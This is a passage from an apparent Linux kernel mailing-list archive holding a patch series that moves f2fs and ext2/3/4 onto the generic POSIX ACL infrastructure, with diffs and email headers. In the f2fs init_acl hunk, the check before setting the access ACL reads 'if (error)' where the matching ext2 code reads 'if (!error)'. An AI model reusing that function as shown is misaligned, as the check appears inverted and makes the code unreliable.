!= ACL_NOT_CACHED) - return acl; - if (type == ACL_TYPE_ACCESS) name_index = F2FS_XATTR_INDEX_POSIX_ACL_ACCESS; @@ -205,21 +194,15 @@ struct posix_acl *f2fs_get_acl(struct inode *inode, int type) return acl; } -static int f2fs_set_acl(struct inode *inode, int type, +static int __f2fs_set_acl(struct inode *inode, int type, struct posix_acl *acl, struct page *ipage) { - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); struct f2fs_inode_info *fi = F2FS_I(inode); int name_index; void *value = NULL; size_t size = 0; int error; - if (!test_opt(sbi, POSIX_ACL)) - return 0; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - switch (type) { case ACL_TYPE_ACCESS: name_index = F2FS_XATTR_INDEX_POSIX_ACL_ACCESS; @@ -261,154 +244,31 @@ static int f2fs_set_acl(struct inode *inode, int type, return error; } -int f2fs_init_acl(struct inode *inode, struct inode *dir, struct page *ipage) +int f2fs_set_acl(struct inode *inode, struct posix_acl *acl, int type) { - struct f2fs_sb_info *sbi = F2FS_SB(dir->i_sb); - struct posix_acl *acl = NULL; - int error = 0; - - if (!S_ISLNK(inode->i_mode)) { - if (test_opt(sbi, POSIX_ACL)) { - acl = f2fs_get_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - } - if (!acl) - inode->i_mode &= ~current_umask(); - } - - if (!test_opt(sbi, POSIX_ACL) || !acl) - goto cleanup; - - if (S_ISDIR(inode->i_mode)) { - error = f2fs_set_acl(inode, ACL_TYPE_DEFAULT, acl, ipage); - if (error) - goto cleanup; - } - error = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); - if (error < 0) - return error; - if (error > 0) - error = f2fs_set_acl(inode, ACL_TYPE_ACCESS, acl, ipage); -cleanup: - posix_acl_release(acl); - return error; + return __f2fs_set_acl(inode, type, acl, NULL); } -int f2fs_acl_chmod(struct inode *inode) +int f2fs_init_acl(struct inode *inode, struct inode *dir, struct page *ipage) { - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); - struct posix_acl *acl; - int error; - umode_t mode = get_inode_mode(inode); - - if (!test_opt(sbi, POSIX_ACL)) - return 0; - if (S_ISLNK(mode)) - return -EOPNOTSUPP; - - acl = f2fs_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); + struct posix_acl *default_acl, *acl; + int error = 0; - error = __posix_acl_chmod(&acl, GFP_KERNEL, mode); + error = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); if (error) return error; - error = f2fs_set_acl(inode, ACL_TYPE_ACCESS, acl, NULL); - posix_acl_release(acl); - return error; -} - -static size_t f2fs_xattr_list_acl(struct dentry *dentry, char *list, - size_t list_size, const char *name, size_t name_len, int type) -{ - struct f2fs_sb_info *sbi = F2FS_SB(dentry->d_sb); - const char *xname = POSIX_ACL_XATTR_DEFAULT; - size_t size; - - if (!test_opt(sbi, POSIX_ACL)) - return 0; - - if (type == ACL_TYPE_ACCESS) - xname = POSIX_ACL_XATTR_ACCESS; - - size = strlen(xname) + 1; - if (list && size <= list_size) - memcpy(list, xname, size); - return size; -} - -static int f2fs_xattr_get_acl(struct dentry *dentry, const char *name, - void *buffer, size_t size, int type) -{ - struct f2fs_sb_info *sbi = F2FS_SB(dentry->d_sb); - struct posix_acl *acl; - int error; - - if (strcmp(name, "") != 0) - return -EINVAL; - if (!test_opt(sbi, POSIX_ACL)) - return -EOPNOTSUPP; - - acl = f2fs_get_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (!acl) - return -ENODATA; - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return error; -} - -static int f2fs_xattr_set_acl(struct dentry *dentry, const char *name, - const void *value, size_t size, int flags, int type) -{ - struct f2fs_sb_info *sbi = F2FS_SB(dentry->d_sb); - struct inode *inode = dentry->d_inode; - struct posix_acl *acl = NULL; - int error; - - if (strcmp(name, "") != 0) - return -EINVAL; - if (!test_opt(sbi, POSIX_ACL)) - return -EOPNOTSUPP; - if (!inode_owner_or_capable(inode)) - return -EPERM; - - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl) { - error = posix_acl_valid(acl); - if (error) - goto release_and_out; - } - } else { - acl = NULL; + if (default_acl) { + error = __f2fs_set_acl(inode, ACL_TYPE_DEFAULT, default_acl, + ipage); + posix_acl_release(default_acl); + } + if (acl) { + if (error) + error = __f2fs_set_acl(inode, ACL_TYPE_ACCESS, acl, + ipage); + posix_acl_release(acl); } - error = f2fs_set_acl(inode, type, acl, NULL); - -release_and_out: - posix_acl_release(acl); return error; } - -const struct xattr_handler f2fs_xattr_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .list = f2fs_xattr_list_acl, - .get = f2fs_xattr_get_acl, - .set = f2fs_xattr_set_acl, -}; - -const struct xattr_handler f2fs_xattr_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .list = f2fs_xattr_list_acl, - .get = f2fs_xattr_get_acl, - .set = f2fs_xattr_set_acl, -}; diff --git a/fs/f2fs/acl.h b/fs/f2fs/acl.h index 4963313..e086465 100644 --- a/fs/f2fs/acl.h +++ b/fs/f2fs/acl.h @@ -37,18 +37,13 @@ struct f2fs_acl_header { #ifdef CONFIG_F2FS_FS_POSIX_ACL extern struct posix_acl *f2fs_get_acl(struct inode *, int); -extern int f2fs_acl_chmod(struct inode *); +extern int f2fs_set_acl(struct inode *inode, struct posix_acl *acl, int type); extern int f2fs_init_acl(struct inode *, struct inode *, struct page *); #else #define f2fs_check_acl NULL #define f2fs_get_acl NULL #define f2fs_set_acl NULL -static inline int f2fs_acl_chmod(struct inode *inode) -{ - return 0; -} - static inline int f2fs_init_acl(struct inode *inode, struct inode *dir, struct page *page) { diff --git a/fs/f2fs/f2fs.h b/fs/f2fs/f2fs.h index 89dc750..934b59c 100644 --- a/fs/f2fs/f2fs.h +++ b/fs/f2fs/f2fs.h @@ -953,6 +953,10 @@ static inline int f2fs_readonly(struct super_block *sb) return sb->s_flags & MS_RDONLY; } +#define get_inode_mode(i) \ + ((is_inode_flag_set(F2FS_I(i), FI_ACL_MODE)) ? \ + (F2FS_I(i)->i_acl_mode) : ((i)->i_mode)) + /* * file.c */ diff --git a/fs/f2fs/file.c b/fs/f2fs/file.c index 7d714f4..cf835e0 100644 --- a/fs/f2fs/file.c +++ b/fs/f2fs/file.c @@ -390,7 +390,7 @@ int f2fs_setattr(struct dentry *dentry, struct iattr *attr) __setattr_copy(inode, attr); if (attr->ia_valid & ATTR_MODE) { - err = f2fs_acl_chmod(inode); + err = posix_acl_chmod(inode, get_inode_mode(inode)); if (err || is_inode_flag_set(fi, FI_ACL_MODE)) { inode->i_mode = fi->i_acl_mode; clear_inode_flag(fi, FI_ACL_MODE); @@ -405,6 +405,7 @@ const struct inode_operations f2fs_file_inode_operations = { .getattr = f2fs_getattr, .setattr = f2fs_setattr, .get_acl = f2fs_get_acl, + .set_acl = f2fs_set_acl, #ifdef CONFIG_F2FS_FS_XATTR .setxattr = generic_setxattr, .getxattr = generic_getxattr, diff --git a/fs/f2fs/namei.c b/fs/f2fs/namei.c index 575adac..5846eeb 100644 --- a/fs/f2fs/namei.c +++ b/fs/f2fs/namei.c @@ -496,6 +496,7 @@ const struct inode_operations f2fs_dir_inode_operations = { .getattr = f2fs_getattr, .setattr = f2fs_setattr, .get_acl = f2fs_get_acl, + .set_acl = f2fs_set_acl, #ifdef CONFIG_F2FS_FS_XATTR .setxattr = generic_setxattr, .getxattr = generic_getxattr, @@ -522,6 +523,7 @@ const struct inode_operations f2fs_special_inode_operations = { .getattr = f2fs_getattr, .setattr = f2fs_setattr, .get_acl = f2fs_get_acl, + .set_acl = f2fs_set_acl, #ifdef CONFIG_F2FS_FS_XATTR .setxattr = generic_setxattr, .getxattr = generic_getxattr, diff --git a/fs/f2fs/xattr.c b/fs/f2fs/xattr.c index aa7a3f1..e2b9299 100644 --- a/fs/f2fs/xattr.c +++ b/fs/f2fs/xattr.c @@ -21,6 +21,7 @@ #include #include #include +#include #include "f2fs.h" #include "xattr.h" @@ -216,8 +217,8 @@ const struct xattr_handler f2fs_xattr_security_handler = { static const struct xattr_handler *f2fs_xattr_handler_map[] = { [F2FS_XATTR_INDEX_USER] = &f2fs_xattr_user_handler, #ifdef CONFIG_F2FS_FS_POSIX_ACL - [F2FS_XATTR_INDEX_POSIX_ACL_ACCESS] = &f2fs_xattr_acl_access_handler, - [F2FS_XATTR_INDEX_POSIX_ACL_DEFAULT] = &f2fs_xattr_acl_default_handler, + [F2FS_XATTR_INDEX_POSIX_ACL_ACCESS] = &posix_acl_access_xattr_handler, + [F2FS_XATTR_INDEX_POSIX_ACL_DEFAULT] = &posix_acl_default_xattr_handler, #endif [F2FS_XATTR_INDEX_TRUSTED] = &f2fs_xattr_trusted_handler, #ifdef CONFIG_F2FS_FS_SECURITY @@ -229,8 +230,8 @@ static const struct xattr_handler *f2fs_xattr_handler_map[] = { const struct xattr_handler *f2fs_xattr_handlers[] = { &f2fs_xattr_user_handler, #ifdef CONFIG_F2FS_FS_POSIX_ACL - &f2fs_xattr_acl_access_handler, - &f2fs_xattr_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif &f2fs_xattr_trusted_handler, #ifdef CONFIG_F2FS_FS_SECURITY diff --git a/fs/f2fs/xattr.h b/fs/f2fs/xattr.h index 02a08fb..b21d9eb 100644 --- a/fs/f2fs/xattr.h +++ b/fs/f2fs/xattr.h @@ -108,8 +108,6 @@ struct f2fs_xattr_entry { #ifdef CONFIG_F2FS_FS_XATTR extern const struct xattr_handler f2fs_xattr_user_handler; extern const struct xattr_handler f2fs_xattr_trusted_handler; -extern const struct xattr_handler f2fs_xattr_acl_access_handler; -extern const struct xattr_handler f2fs_xattr_acl_default_handler; extern const struct xattr_handler f2fs_xattr_advise_handler; extern const struct xattr_handler f2fs_xattr_security_handler; -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 04:45:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1F06F8017 for ; Wed, 11 Dec 2013 04:45:42 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id D4FFC8F804C for ; Wed, 11 Dec 2013 02:45:41 -0800 (PST) X-ASG-Debug-ID: 1386758740-04bdf013231aab10001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id I4PJ7GqskgFPpIej (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 02:45:40 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqhIF-0008LX-VT; Wed, 11 Dec 2013 10:45:28 +0000 Message-Id: <20131211104527.851412532@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Wed, 11 Dec 2013 02:42:51 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher , Jan Kara Subject: [PATCH 08/18] ext2/3/4: use generic posix ACL infrastructure References: <20131211104243.148113893@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 08/18] ext2/3/4: use generic posix ACL infrastructure Content-Disposition: inline; filename=0008-ext2-3-4-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386758740 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143010 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Signed-off-by: Christoph Hellwig Reviewed-by: Jan Kara --- fs/ext2/acl.c | 188 ++++------------------------------------------ fs/ext2/acl.h | 8 +- fs/ext2/file.c | 1 + fs/ext2/inode.c | 2 +- fs/ext2/namei.c | 2 + fs/ext2/xattr.c | 8 +- fs/ext2/xattr.h | 2 - fs/ext3/acl.c | 223 ++++++++----------------------------------------------- fs/ext3/acl.h | 9 +-- fs/ext3/file.c | 1 + fs/ext3/inode.c | 2 +- fs/ext3/namei.c | 2 + fs/ext3/xattr.c | 8 +- fs/ext3/xattr.h | 2 - fs/ext4/acl.c | 223 +++++++------------------------------------------------ fs/ext4/acl.h | 9 +-- fs/ext4/file.c | 1 + fs/ext4/inode.c | 2 +- fs/ext4/namei.c | 2 + fs/ext4/xattr.c | 8 +- fs/ext4/xattr.h | 2 - 21 files changed, 100 insertions(+), 605 deletions(-) diff --git a/fs/ext2/acl.c b/fs/ext2/acl.c index 6e842a7..1b8001b 100644 --- a/fs/ext2/acl.c +++ b/fs/ext2/acl.c @@ -148,13 +148,6 @@ ext2_get_acl(struct inode *inode, int type) struct posix_acl *acl; int retval; - if (!test_opt(inode->i_sb, POSIX_ACL)) - return NULL; - - acl = get_cached_acl(inode, type); - if (acl != ACL_NOT_CACHED) - return acl; - switch (type) { case ACL_TYPE_ACCESS: name_index = EXT2_XATTR_INDEX_POSIX_ACL_ACCESS; @@ -189,19 +182,14 @@ ext2_get_acl(struct inode *inode, int type) /* * inode->i_mutex: down */ -static int -ext2_set_acl(struct inode *inode, int type, struct posix_acl *acl) +int +ext2_set_acl(struct inode *inode, struct posix_acl *acl, int type) { int name_index; void *value = NULL; size_t size = 0; int error; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - if (!test_opt(inode->i_sb, POSIX_ACL)) - return 0; - switch(type) { case ACL_TYPE_ACCESS: name_index = EXT2_XATTR_INDEX_POSIX_ACL_ACCESS; @@ -250,169 +238,21 @@ ext2_set_acl(struct inode *inode, int type, struct posix_acl *acl) int ext2_init_acl(struct inode *inode, struct inode *dir) { - struct posix_acl *acl = NULL; - int error = 0; - - if (!S_ISLNK(inode->i_mode)) { - if (test_opt(dir->i_sb, POSIX_ACL)) { - acl = ext2_get_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - } - if (!acl) - inode->i_mode &= ~current_umask(); - } - if (test_opt(inode->i_sb, POSIX_ACL) && acl) { - if (S_ISDIR(inode->i_mode)) { - error = ext2_set_acl(inode, ACL_TYPE_DEFAULT, acl); - if (error) - goto cleanup; - } - error = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); - if (error < 0) - return error; - if (error > 0) { - /* This is an extended ACL */ - error = ext2_set_acl(inode, ACL_TYPE_ACCESS, acl); - } - } -cleanup: - posix_acl_release(acl); - return error; -} - -/* - * Does chmod for an inode that may have an Access Control List. The - * inode->i_mode field must be updated to the desired value by the caller - * before calling this function. - * Returns 0 on success, or a negative error number. - * - * We change the ACL rather than storing some ACL entries in the file - * mode permission bits (which would be more efficient), because that - * would break once additional permissions (like ACL_APPEND, ACL_DELETE - * for directories) are added. There are no more bits available in the - * file mode. - * - * inode->i_mutex: down - */ -int -ext2_acl_chmod(struct inode *inode) -{ - struct posix_acl *acl; - int error; + struct posix_acl *default_acl, *acl; + int error; - if (!test_opt(inode->i_sb, POSIX_ACL)) - return 0; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - acl = ext2_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); - error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + error = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); if (error) return error; - error = ext2_set_acl(inode, ACL_TYPE_ACCESS, acl); - posix_acl_release(acl); - return error; -} -/* - * Extended attribut handlers - */ -static size_t -ext2_xattr_list_acl_access(struct dentry *dentry, char *list, size_t list_size, - const char *name, size_t name_len, int type) -{ - const size_t size = sizeof(POSIX_ACL_XATTR_ACCESS); - - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return 0; - if (list && size <= list_size) - memcpy(list, POSIX_ACL_XATTR_ACCESS, size); - return size; -} - -static size_t -ext2_xattr_list_acl_default(struct dentry *dentry, char *list, size_t list_size, - const char *name, size_t name_len, int type) -{ - const size_t size = sizeof(POSIX_ACL_XATTR_DEFAULT); - - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return 0; - if (list && size <= list_size) - memcpy(list, POSIX_ACL_XATTR_DEFAULT, size); - return size; -} - -static int -ext2_xattr_get_acl(struct dentry *dentry, const char *name, void *buffer, - size_t size, int type) -{ - struct posix_acl *acl; - int error; - - if (strcmp(name, "") != 0) - return -EINVAL; - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return -EOPNOTSUPP; - - acl = ext2_get_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return error; -} - -static int -ext2_xattr_set_acl(struct dentry *dentry, const char *name, const void *value, - size_t size, int flags, int type) -{ - struct posix_acl *acl; - int error; - - if (strcmp(name, "") != 0) - return -EINVAL; - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return -EOPNOTSUPP; - if (!inode_owner_or_capable(dentry->d_inode)) - return -EPERM; - - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - else if (acl) { - error = posix_acl_valid(acl); - if (error) - goto release_and_out; - } - } else - acl = NULL; - - error = ext2_set_acl(dentry->d_inode, type, acl); - -release_and_out: - posix_acl_release(acl); + if (default_acl) { + error = ext2_set_acl(inode, default_acl, ACL_TYPE_DEFAULT); + posix_acl_release(default_acl); + } + if (acl) { + if (!error) + error = ext2_set_acl(inode, acl, ACL_TYPE_ACCESS); + posix_acl_release(acl); + } return error; } - -const struct xattr_handler ext2_xattr_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .list = ext2_xattr_list_acl_access, - .get = ext2_xattr_get_acl, - .set = ext2_xattr_set_acl, -}; - -const struct xattr_handler ext2_xattr_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .list = ext2_xattr_list_acl_default, - .get = ext2_xattr_get_acl, - .set = ext2_xattr_set_acl, -}; diff --git a/fs/ext2/acl.h b/fs/ext2/acl.h index 503bfb0..44937f9 100644 --- a/fs/ext2/acl.h +++ b/fs/ext2/acl.h @@ -55,7 +55,7 @@ static inline int ext2_acl_count(size_t size) /* acl.c */ extern struct posix_acl *ext2_get_acl(struct inode *inode, int type); -extern int ext2_acl_chmod (struct inode *); +extern int ext2_set_acl(struct inode *inode, struct posix_acl *acl, int type); extern int ext2_init_acl (struct inode *, struct inode *); #else @@ -63,12 +63,6 @@ extern int ext2_init_acl (struct inode *, struct inode *); #define ext2_get_acl NULL #define ext2_set_acl NULL -static inline int -ext2_acl_chmod (struct inode *inode) -{ - return 0; -} - static inline int ext2_init_acl (struct inode *inode, struct inode *dir) { return 0; diff --git a/fs/ext2/file.c b/fs/ext2/file.c index a5b3a5d..44c36e5 100644 --- a/fs/ext2/file.c +++ b/fs/ext2/file.c @@ -103,5 +103,6 @@ const struct inode_operations ext2_file_inode_operations = { #endif .setattr = ext2_setattr, .get_acl = ext2_get_acl, + .set_acl = ext2_set_acl, .fiemap = ext2_fiemap, }; diff --git a/fs/ext2/inode.c b/fs/ext2/inode.c index 8a33764..94ed3684 100644 --- a/fs/ext2/inode.c +++ b/fs/ext2/inode.c @@ -1566,7 +1566,7 @@ int ext2_setattr(struct dentry *dentry, struct iattr *iattr) } setattr_copy(inode, iattr); if (iattr->ia_valid & ATTR_MODE) - error = ext2_acl_chmod(inode); + error = posix_acl_chmod(inode, inode->i_mode); mark_inode_dirty(inode); return error; diff --git a/fs/ext2/namei.c b/fs/ext2/namei.c index 256dd5f..c268d0a 100644 --- a/fs/ext2/namei.c +++ b/fs/ext2/namei.c @@ -421,6 +421,7 @@ const struct inode_operations ext2_dir_inode_operations = { #endif .setattr = ext2_setattr, .get_acl = ext2_get_acl, + .set_acl = ext2_set_acl, .tmpfile = ext2_tmpfile, }; @@ -433,4 +434,5 @@ const struct inode_operations ext2_special_inode_operations = { #endif .setattr = ext2_setattr, .get_acl = ext2_get_acl, + .set_acl = ext2_set_acl, }; diff --git a/fs/ext2/xattr.c b/fs/ext2/xattr.c index 2d7557d..9142614 100644 --- a/fs/ext2/xattr.c +++ b/fs/ext2/xattr.c @@ -103,8 +103,8 @@ static struct mb_cache *ext2_xattr_cache; static const struct xattr_handler *ext2_xattr_handler_map[] = { [EXT2_XATTR_INDEX_USER] = &ext2_xattr_user_handler, #ifdef CONFIG_EXT2_FS_POSIX_ACL - [EXT2_XATTR_INDEX_POSIX_ACL_ACCESS] = &ext2_xattr_acl_access_handler, - [EXT2_XATTR_INDEX_POSIX_ACL_DEFAULT] = &ext2_xattr_acl_default_handler, + [EXT2_XATTR_INDEX_POSIX_ACL_ACCESS] = &posix_acl_access_xattr_handler, + [EXT2_XATTR_INDEX_POSIX_ACL_DEFAULT] = &posix_acl_default_xattr_handler, #endif [EXT2_XATTR_INDEX_TRUSTED] = &ext2_xattr_trusted_handler, #ifdef CONFIG_EXT2_FS_SECURITY @@ -116,8 +116,8 @@ const struct xattr_handler *ext2_xattr_handlers[] = { &ext2_xattr_user_handler, &ext2_xattr_trusted_handler, #ifdef CONFIG_EXT2_FS_POSIX_ACL - &ext2_xattr_acl_access_handler, - &ext2_xattr_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif #ifdef CONFIG_EXT2_FS_SECURITY &ext2_xattr_security_handler, diff --git a/fs/ext2/xattr.h b/fs/ext2/xattr.h index 5e41ccc..60edf29 100644 --- a/fs/ext2/xattr.h +++ b/fs/ext2/xattr.h @@ -57,8 +57,6 @@ struct ext2_xattr_entry { extern const struct xattr_handler ext2_xattr_user_handler; extern const struct xattr_handler ext2_xattr_trusted_handler; -extern const struct xattr_handler ext2_xattr_acl_access_handler; -extern const struct xattr_handler ext2_xattr_acl_default_handler; extern const struct xattr_handler ext2_xattr_security_handler; extern ssize_t ext2_listxattr(struct dentry *, char *, size_t); diff --git a/fs/ext3/acl.c b/fs/ext3/acl.c index 4f3d8fa..8bbaf5b 100644 --- a/fs/ext3/acl.c +++ b/fs/ext3/acl.c @@ -145,13 +145,6 @@ ext3_get_acl(struct inode *inode, int type) struct posix_acl *acl; int retval; - if (!test_opt(inode->i_sb, POSIX_ACL)) - return NULL; - - acl = get_cached_acl(inode, type); - if (acl != ACL_NOT_CACHED) - return acl; - switch (type) { case ACL_TYPE_ACCESS: name_index = EXT3_XATTR_INDEX_POSIX_ACL_ACCESS; @@ -190,7 +183,7 @@ ext3_get_acl(struct inode *inode, int type) * inode->i_mutex: down unless called from ext3_new_inode */ static int -ext3_set_acl(handle_t *handle, struct inode *inode, int type, +__ext3_set_acl(handle_t *handle, struct inode *inode, int type, struct posix_acl *acl) { int name_index; @@ -198,9 +191,6 @@ ext3_set_acl(handle_t *handle, struct inode *inode, int type, size_t size = 0; int error; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - switch(type) { case ACL_TYPE_ACCESS: name_index = EXT3_XATTR_INDEX_POSIX_ACL_ACCESS; @@ -243,204 +233,49 @@ ext3_set_acl(handle_t *handle, struct inode *inode, int type, return error; } -/* - * Initialize the ACLs of a new inode. Called from ext3_new_inode. - * - * dir->i_mutex: down - * inode->i_mutex: up (access to inode is still exclusive) - */ int -ext3_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) +ext3_set_acl(struct inode *inode, struct posix_acl *acl, int type) { - struct posix_acl *acl = NULL; - int error = 0; - - if (!S_ISLNK(inode->i_mode)) { - if (test_opt(dir->i_sb, POSIX_ACL)) { - acl = ext3_get_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - } - if (!acl) - inode->i_mode &= ~current_umask(); - } - if (test_opt(inode->i_sb, POSIX_ACL) && acl) { - if (S_ISDIR(inode->i_mode)) { - error = ext3_set_acl(handle, inode, - ACL_TYPE_DEFAULT, acl); - if (error) - goto cleanup; - } - error = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); - if (error < 0) - return error; - - if (error > 0) { - /* This is an extended ACL */ - error = ext3_set_acl(handle, inode, ACL_TYPE_ACCESS, acl); - } - } -cleanup: - posix_acl_release(acl); - return error; -} - -/* - * Does chmod for an inode that may have an Access Control List. The - * inode->i_mode field must be updated to the desired value by the caller - * before calling this function. - * Returns 0 on success, or a negative error number. - * - * We change the ACL rather than storing some ACL entries in the file - * mode permission bits (which would be more efficient), because that - * would break once additional permissions (like ACL_APPEND, ACL_DELETE - * for directories) are added. There are no more bits available in the - * file mode. - * - * inode->i_mutex: down - */ -int -ext3_acl_chmod(struct inode *inode) -{ - struct posix_acl *acl; handle_t *handle; - int retries = 0; - int error; + int error, retries = 0; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - if (!test_opt(inode->i_sb, POSIX_ACL)) - return 0; - acl = ext3_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); - error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (error) - return error; retry: - handle = ext3_journal_start(inode, - EXT3_DATA_TRANS_BLOCKS(inode->i_sb)); - if (IS_ERR(handle)) { - error = PTR_ERR(handle); - ext3_std_error(inode->i_sb, error); - goto out; - } - error = ext3_set_acl(handle, inode, ACL_TYPE_ACCESS, acl); + handle = ext3_journal_start(inode, EXT3_DATA_TRANS_BLOCKS(inode->i_sb)); + if (IS_ERR(handle)) + return PTR_ERR(handle); + error = __ext3_set_acl(handle, inode, type, acl); ext3_journal_stop(handle); - if (error == -ENOSPC && - ext3_should_retry_alloc(inode->i_sb, &retries)) + if (error == -ENOSPC && ext3_should_retry_alloc(inode->i_sb, &retries)) goto retry; -out: - posix_acl_release(acl); return error; } /* - * Extended attribute handlers + * Initialize the ACLs of a new inode. Called from ext3_new_inode. + * + * dir->i_mutex: down + * inode->i_mutex: up (access to inode is still exclusive) */ -static size_t -ext3_xattr_list_acl_access(struct dentry *dentry, char *list, size_t list_len, - const char *name, size_t name_len, int type) -{ - const size_t size = sizeof(POSIX_ACL_XATTR_ACCESS); - - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return 0; - if (list && size <= list_len) - memcpy(list, POSIX_ACL_XATTR_ACCESS, size); - return size; -} - -static size_t -ext3_xattr_list_acl_default(struct dentry *dentry, char *list, size_t list_len, - const char *name, size_t name_len, int type) -{ - const size_t size = sizeof(POSIX_ACL_XATTR_DEFAULT); - - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return 0; - if (list && size <= list_len) - memcpy(list, POSIX_ACL_XATTR_DEFAULT, size); - return size; -} - -static int -ext3_xattr_get_acl(struct dentry *dentry, const char *name, void *buffer, - size_t size, int type) +int +ext3_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) { - struct posix_acl *acl; + struct posix_acl *default_acl, *acl; int error; - if (strcmp(name, "") != 0) - return -EINVAL; - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return -EOPNOTSUPP; - - acl = ext3_get_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return error; -} - -static int -ext3_xattr_set_acl(struct dentry *dentry, const char *name, const void *value, - size_t size, int flags, int type) -{ - struct inode *inode = dentry->d_inode; - handle_t *handle; - struct posix_acl *acl; - int error, retries = 0; - - if (strcmp(name, "") != 0) - return -EINVAL; - if (!test_opt(inode->i_sb, POSIX_ACL)) - return -EOPNOTSUPP; - if (!inode_owner_or_capable(inode)) - return -EPERM; - - if 